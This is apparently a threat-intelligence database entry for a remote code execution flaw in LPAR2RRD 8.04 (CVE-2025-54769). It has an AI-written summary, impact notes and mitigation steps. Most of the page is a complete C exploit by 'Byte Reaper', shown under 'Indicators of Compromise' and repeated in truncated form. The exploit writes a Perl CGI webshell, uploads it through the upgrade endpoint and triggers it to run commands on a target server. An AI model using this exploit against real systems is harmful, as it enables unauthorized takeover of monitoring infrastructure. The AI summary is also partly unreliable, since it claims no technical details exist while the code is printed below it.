LPAR2RRD 8.04 - Remote Code Execution (RCE)
LPAR2RRD 8.04 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The security threat concerns a Remote Code Execution (RCE) vulnerability in LPAR2RRD version 8.04. LPAR2RRD is a performance and capacity monitoring tool primarily used for virtualized environments, including IBM Power Systems, VMware, Hyper-V, and others. An RCE vulnerability allows an attacker to execute arbitrary code on the vulnerable system remotely, potentially gaining full control over the affected server. Although specific technical details of the exploit are not provided, the presence of exploit code written in C indicates that the vulnerability can be actively leveraged by attackers to run native code on the host. The lack of affected version details suggests that version 8.04 is either the vulnerable version or the version where the vulnerability was discovered. The exploit likely targets the web interface or a network-facing service component of LPAR2RRD, given the tags 'remote' and 'web'. This vulnerability is critical because it can lead to complete system compromise without requiring user interaction or authentication, depending on the exploit vector. The absence of a patch link indicates that a fix may not yet be publicly available, increasing the urgency for mitigation.
Potential Impact
For European organizations, the impact of this RCE vulnerability in LPAR2RRD 8.04 could be severe. Organizations relying on LPAR2RRD for monitoring critical virtualized infrastructure may face unauthorized access, data breaches, service disruption, or lateral movement within their networks. Compromise of monitoring infrastructure can also blind security teams to ongoing attacks, delaying detection and response. Given that LPAR2RRD is used in enterprise environments to monitor performance and capacity, attackers exploiting this vulnerability could manipulate monitoring data or disable monitoring altogether, impacting operational continuity. Additionally, attackers could use the compromised system as a foothold to escalate privileges or pivot to other critical systems. The critical severity rating underscores the potential for significant confidentiality, integrity, and availability impacts. European organizations in sectors such as finance, manufacturing, telecommunications, and government, which often use such monitoring tools, are at heightened risk.
Mitigation Recommendations
Specific mitigation steps include: 1) Immediate inventory and identification of all LPAR2RRD 8.04 instances within the organization. 2) Isolate vulnerable systems from untrusted networks or restrict access to trusted administrators only via network segmentation and firewall rules. 3) Monitor network traffic and logs for unusual activity related to LPAR2RRD services, especially unexpected inbound connections or execution patterns. 4) Apply any available vendor patches or updates as soon as they are released. If no patch is available, consider disabling or uninstalling LPAR2RRD 8.04 until a fix is provided. 5) Employ application-layer firewalls or Web Application Firewalls (WAFs) to detect and block exploit attempts targeting the web interface. 6) Conduct thorough endpoint and network scans to detect any signs of compromise. 7) Implement strict access controls and multi-factor authentication for management interfaces. 8) Engage in proactive threat hunting focused on this vulnerability and monitor threat intelligence feeds for exploit developments.
Affected Countries
Germany, United Kingdom, France, Netherlands, Italy, Spain, Sweden
Indicators of Compromise
- exploit-code: /* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include "argparse.h" #include <string.h> #include <time.h> #include <arpa/inet.h> #define FULL 2500 void sleepAssembly() { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; __asm__ volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); } void syscallLinux() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int fileS = 0; int useCookies = 0; int verboseMode = 0; const char *cookies; const char *ip = NULL; int portService = 0; int port = 0; int protocolS = 0; const char *protocol = NULL; int CreateFilePerl() { FILE *fileP = fopen("users.pl", "w"); if (fileP == NULL) { printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n"); syscallLinux(); return 0; } printf("[+] Create File Successfully\n"); char payloadContent[7000]; int payload = snprintf(payloadContent, sizeof(payloadContent), "#!/usr/bin/perl\n" "use strict;\n" "use warnings;\n" "use CGI;\n" "my $q = CGI->new;\n" "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n" "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n" "{\n" "\tprint \"Content-type: text/html\\n\\n\";\n" "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n" "\tprint $commandW;\n" "}\n" ); if (payload < 0 || (size_t)payload >= sizeof(payloadContent)) { fprintf(stderr, "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n"); syscallLinux(); } size_t e = strlen(payloadContent); unsigned long writeLen = fwrite(payloadContent, 1, strlen(payloadContent), fileP); if (writeLen != e) { printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n"); syscallLinux(); return 0; } printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n"); fclose(fileP); return 1; } const char *resultCommand[] = { "root", "admin", "user", "ssh", "/home/", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); syscallLinux(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void getRequest(CURL *curl, const char *targetIP) { struct Mem responseGet ; responseGet.buffer = NULL; responseGet.len = 0; CURLcode codeLib; char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux", proto, targetIP, prt); if (n < 0 || (size_t)n >= sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } printf("\e[1;37m[+] GET URL: %s\e[0m\n", full); struct curl_slist *headers = NULL; headers = curl_slist_append(headers , "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Sec-Fetch-Dest: document"); headers = curl_slist_append(headers, "Sec-Fetch-Mode: navigate"); headers = curl_slist_append(headers, "Priority: u=0, i"); headers = curl_slist_append(headers, "Pragma: no-cache"); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLib = curl_easy_perform(curl); curl_slist_free_all(headers); if (codeLib == CURLE_OK) { printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n"); long codeH = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &codeH); printf("\e[1;36m[+] Request GET sent successfully\e[0m\n"); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { if (verboseMode) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;35m===================================================================================================================\e[0m\n"); } } if (codeH >= 200 && codeH < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",codeH); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\e[0m\n", responseGet.len); printf("\e[1;35m===================================================================================================================\n"); for (int j = 0; resultCommand[j]; j++) { if (strstr(responseGet.buffer, resultCommand[j])) { printf("\e[1;34m[+] Word Found In Response.\e[0m\n"); printf("\e[1;34m[+] Word : %s\e[0m\n", resultCommand[j]); printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n"); } else { if (verboseMode) { printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", resultCommand[j]); } else { continue; } } } } else { printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n"); if (verboseMode) { printf("\e[1;31m[-] Exit Syscall\e[0m\n"); } } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", codeH); if (verboseMode) { if (responseGet.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\n",responseGet.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); } } } } else { fprintf(stderr,"\e[1;31m[-] Error Send Request\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(codeLib)); syscallLinux(); } free(responseGet.buffer); responseGet.buffer = NULL; responseGet.len = 0; curl_easy_cleanup(curl); } void remoteCode(const char *ipS) { CURL *curl = curl_easy_init(); struct Mem response; response.buffer = NULL; response.len = 0; CURLcode codeLibCurl; if (verboseMode) { printf("\e[1;35m================================== [Value Response] ==================================\n"); printf("\e[1;32m[+] Response Buffer -> %s\e[0m\n", response.buffer); printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len); printf("\e[1;35m=======================================================================================\n"); } if (!curl) { fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n"); syscallLinux(); } char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/upgrade.sh", proto, ipS, prt); if (n < 0 || (size_t)n >= sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } if (!CreateFilePerl()) { fprintf(stderr, "\e[1;31m[-] Failed to create File users.pl\e[0m\n"); syscallLinux(); } printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full); curl_mime *form = curl_mime_init(curl); curl_mimepart *field = curl_mime_addpart(form); curl_mime_name(field, "upgfile"); curl_mime_filedata(field, "users.pl"); curl_mime_filename(field, "users.pl"); curl_mime_type(field, "application/x-perl"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_MIMEPOST, form); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; char host[128]; int lenIp = snprintf(host , sizeof(host), "Host: %s:%d", ipS, prt); if (lenIp < 0 || (size_t)lenIp >= sizeof(host)) { printf("\e[1;31m[-] IP Address is Long !\e[0m\n"); syscallLinux(); } headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "X-Requested-With: XMLHttpRequest"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Priority: u=0"); headers = curl_slist_append(headers, "Authorization: <base64-credentials>"); headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0"); headers = curl_slist_append(headers , host); void *m = memset(host , 0, sizeof(host)); if (m == NULL) { fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n"); syscallLinux(); } int lenO = snprintf(host , sizeof(host), "Origin: https://%s:%d", ipS, prt); if (lenO < 0 || (size_t)lenO >= sizeof(host)) { syscallLinux(); } headers = curl_slist_append(headers, host); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLibCurl = curl_easy_perform(curl); curl_mime_free(form); curl_slist_free_all(headers); if (codeLibCurl != CURLE_OK) { fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n", curl_easy_strerror(codeLibCurl)); syscallLinux(); } long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol); printf("\e[1;36m[+] Port : %d\e[0m\n", port); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);; if (httpCode >= 200 && httpCode < 300) { printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode); if (response.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m [+] Len Response : %zu\e[0m\n",response.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); if (strstr(response.buffer, "This file doesn't look like the upgrade package")) { printf("\e[1;34m[+] Sentence found in reply.\e[0m\n"); printf("\e[1;34m[+] Sentence : This file doesn't look like the upgrade package\e[0m\n"); printf("\e[1;34m[+] Exploitation is being completed...\e[0m\n"); getRequest(curl, ipS); } } else { fprintf(stderr,"\e[1;31m[-] Response Buffer is NULL\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Please Check Your Connection Or Waf\e[0m\n"); if (verboseMode) { fprintf(stderr,"\e[1;31m[-] Exit Syscall...\e[0m\n"); } syscallLinux(); } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode); if (verboseMode) { if (response.buffer) { printf("\e[1;35m\n=========================================== [Response] ===========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[-] Len Response : %zu\n",response.len); printf("\e[1;35m\n=============================================================================================\e[0m\n"); } } } free(response.buffer); response.buffer = NULL; response.len = 0; curl_easy_cleanup(curl); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌ ▌▙▖▙▌ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌ ▌▙▌▄▌ \n" "\e[1;37m\t\tByte Reaper\n" ); curl_global_init(CURL_GLOBAL_DEFAULT); printf("\e[1;31m------------------------------------------------------------------------------------\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &ip, "Enter Target IP"), OPT_STRING('c', "cookies", &cookies, "cookies File"), OPT_INTEGER('p', "port", &port , "Enter Target Port Service"), OPT_STRING('t', "protocol", &protocol, "Enter Protocol Service (http / https)"), OPT_BOOLEAN('v', "verbose", &verboseMode, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); in_addr_t q = inet_addr(ip); if (q == INADDR_NONE) { printf("\e[1;31m[-] Invalid Ip String !\e[0m\n"); syscallLinux(); } if (!ip) { fprintf(stderr,"\e[1;31m[-] Please Enter Target IP !\e[0m\n"); fprintf(stderr,"\e[1;31m[-] Ex : ./exploit -i <IP> \e[0m\n"); fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n"); syscallLinux(); } if (verboseMode) { verboseMode = 1; } if (cookies) { useCookies = 1; } if (port) { portService = 1; } if (protocol) { protocolS = 1; } remoteCode(ip); curl_global_cleanup(); return 0; }
LPAR2RRD 8.04 - Remote Code Execution (RCE)
Description
LPAR2RRD 8.04 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The security threat concerns a Remote Code Execution (RCE) vulnerability in LPAR2RRD version 8.04. LPAR2RRD is a performance and capacity monitoring tool primarily used for virtualized environments, including IBM Power Systems, VMware, Hyper-V, and others. An RCE vulnerability allows an attacker to execute arbitrary code on the vulnerable system remotely, potentially gaining full control over the affected server. Although specific technical details of the exploit are not provided, the presence of exploit code written in C indicates that the vulnerability can be actively leveraged by attackers to run native code on the host. The lack of affected version details suggests that version 8.04 is either the vulnerable version or the version where the vulnerability was discovered. The exploit likely targets the web interface or a network-facing service component of LPAR2RRD, given the tags 'remote' and 'web'. This vulnerability is critical because it can lead to complete system compromise without requiring user interaction or authentication, depending on the exploit vector. The absence of a patch link indicates that a fix may not yet be publicly available, increasing the urgency for mitigation.
Potential Impact
For European organizations, the impact of this RCE vulnerability in LPAR2RRD 8.04 could be severe. Organizations relying on LPAR2RRD for monitoring critical virtualized infrastructure may face unauthorized access, data breaches, service disruption, or lateral movement within their networks. Compromise of monitoring infrastructure can also blind security teams to ongoing attacks, delaying detection and response. Given that LPAR2RRD is used in enterprise environments to monitor performance and capacity, attackers exploiting this vulnerability could manipulate monitoring data or disable monitoring altogether, impacting operational continuity. Additionally, attackers could use the compromised system as a foothold to escalate privileges or pivot to other critical systems. The critical severity rating underscores the potential for significant confidentiality, integrity, and availability impacts. European organizations in sectors such as finance, manufacturing, telecommunications, and government, which often use such monitoring tools, are at heightened risk.
Mitigation Recommendations
Specific mitigation steps include: 1) Immediate inventory and identification of all LPAR2RRD 8.04 instances within the organization. 2) Isolate vulnerable systems from untrusted networks or restrict access to trusted administrators only via network segmentation and firewall rules. 3) Monitor network traffic and logs for unusual activity related to LPAR2RRD services, especially unexpected inbound connections or execution patterns. 4) Apply any available vendor patches or updates as soon as they are released. If no patch is available, consider disabling or uninstalling LPAR2RRD 8.04 until a fix is provided. 5) Employ application-layer firewalls or Web Application Firewalls (WAFs) to detect and block exploit attempts targeting the web interface. 6) Conduct thorough endpoint and network scans to detect any signs of compromise. 7) Implement strict access controls and multi-factor authentication for management interfaces. 8) Engage in proactive threat hunting focused on this vulnerability and monitor threat intelligence feeds for exploit developments.
Affected Countries
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Technical Details
- Edb Id
- 52391
- Has Exploit Code
- true
- Code Language
- c
Indicators of Compromise
Exploit Source Code
Exploit code for LPAR2RRD 8.04 - Remote Code Execution (RCE)
/* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include "argparse.h" #include <string.h> #include <time.h> #inc... (18460 more characters)
Threat ID: 68900844ad5a09ad00dd9dfc
Added to database: 8/4/2025, 1:09:24 AM
Last enriched: 8/25/2025, 1:22:16 AM
Last updated: 9/14/2025, 5:32:43 AM
Views: 40
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